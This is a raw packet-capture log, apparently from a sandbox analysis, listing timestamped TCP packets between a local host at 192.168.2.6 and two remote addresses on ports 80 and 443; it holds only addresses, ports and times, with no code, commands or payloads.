Nov 28, 2024 15:17:47.499464989 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.499520063 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.500230074 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.500278950 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.500374079 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.500417948 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.501148939 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.501197100 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.501223087 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.501266956 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.502100945 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.502216101 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.502247095 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.502389908 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.502974987 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.503061056 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.503132105 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.503185034 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.503887892 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.503963947 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.503999949 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.504065990 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.504787922 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.504836082 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.504888058 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.504933119 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.505729914 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.505781889 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.505816936 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.505861044 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.506623030 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.506671906 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.506707907 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.506747961 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.507555008 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.507607937 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.507617950 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.507703066 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.508466959 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.508533001 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.508533955 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.508586884 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.531351089 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:47.636934996 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.636995077 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.637043953 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.637087107 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.637310028 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:47.637449980 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.637501955 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.637507915 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.637540102 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.638309002 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.638406038 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.638406992 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.638441086 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.639245033 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.639451027 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.639504910 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.639754057 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.640168905 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.640188932 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.640214920 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.640229940 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.641088963 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.641154051 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.641237020 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.641282082 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.641450882 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:47.641519070 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:47.641977072 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.642030001 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.642069101 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.642106056 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.642899036 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.643007040 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.643152952 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.643199921 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.643820047 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.643878937 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.643915892 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.644011021 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.644740105 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.644789934 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.644828081 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.644869089 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.645648956 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.645694017 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.646085024 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.646132946 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.646215916 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.646300077 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.646960974 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.647007942 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.647058964 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.647104025 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.647948980 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.648021936 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.648077965 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.648783922 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.648833036 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.648896933 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.648938894 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.649743080 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.649808884 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.649840117 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.649883032 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.650624990 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.650692940 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.650731087 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.650774956 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.651550055 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.651612997 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.651664972 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.651767015 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.652476072 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.652520895 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.652606010 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.652659893 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.653373003 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.653429031 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.653470039 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.654315948 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.654369116 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.654546022 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.654592991 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.655221939 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.655262947 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.655303001 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.655344963 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.656075954 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.656130075 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.700221062 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.700232983 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.700293064 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.700331926 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.724517107 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:47.770153999 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.770206928 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.770262957 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.770330906 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.770612001 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.770654917 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.770726919 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.770768881 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.771573067 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.771648884 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.771704912 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.772413015 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.772464037 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.772511959 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.772545099 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.773345947 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.773448944 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.773468018 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.773500919 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.774260044 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.774306059 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.774389029 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.774426937 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.775191069 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.775302887 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.775489092 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.776079893 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.776120901 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.776189089 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.776231050 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.777035952 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.777080059 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.777118921 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.777184010 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.777513981 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:47.777545929 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:47.778063059 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.778076887 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.778112888 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.778135061 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.778841019 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.778898954 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.778940916 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.778975964 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.779798031 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.779844046 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.779876947 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.779911995 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.780677080 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.780729055 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.780813932 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.780852079 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.781605005 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.781677008 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.781717062 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.781838894 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.782001972 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:47.782028913 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:47.782164097 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:47.782175064 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:47.782486916 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.782543898 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.782594919 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.782634974 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.783448935 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.783498049 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.783520937 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.783607006 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.784306049 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.784362078 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.784411907 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.784550905 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.785250902 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.785342932 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.785403013 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.786535978 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.786583900 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.786618948 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.786660910 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.787141085 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.787189007 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.787230015 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.787276983 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.788011074 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.788065910 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.788122892 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.788156986 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.788908958 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.788950920 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.789019108 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.789062977 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.789839983 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.789877892 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.789937019 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.789980888 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.790731907 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.790868044 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.790884018 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.790901899 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.791675091 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.791721106 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.791766882 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.791826010 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.792578936 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.792629004 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.792675018 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.792715073 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.793495893 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.793585062 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.793628931 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.794397116 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.794441938 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.794554949 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.794594049 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.795305014 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.795353889 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.795429945 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.795473099 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.796274900 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.796324015 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.796535015 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.796575069 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.797154903 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.797244072 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.797266960 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.797308922 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.798063993 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.798125982 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.798166037 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.798340082 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.798998117 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.799060106 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.799103975 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.799139977 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.799912930 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.799971104 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.799979925 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.800019979 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.839726925 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.839792013 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.839831114 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.839871883 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.840142012 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.840190887 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.840251923 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.840332985 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.841053963 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.841100931 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.841151953 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.841192961 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.841978073 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.842032909 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.842063904 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.842102051 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.842883110 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.842946053 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.843029022 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.843079090 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.843839884 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.843962908 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.844067097 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.844149113 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.844764948 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.844820976 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.844836950 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.844875097 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.845640898 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.845688105 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.845776081 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.845937967 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.846621037 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.846684933 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.846685886 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.846729994 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.846800089 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:47.846879959 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:47.847449064 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.847553015 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.847789049 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.847877979 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.847906113 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.847948074 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.848659039 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.848726034 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.849755049 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:47.849771976 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:47.850339890 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:47.850351095 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:47.903764963 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.903848886 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.903893948 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.903935909 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.904134989 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.904186964 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.904194117 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.904429913 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.904910088 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.904973984 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.905265093 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.905284882 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.905318022 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.905330896 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.906255960 CET	80	49804	185.215.113.206	192.168.2.6
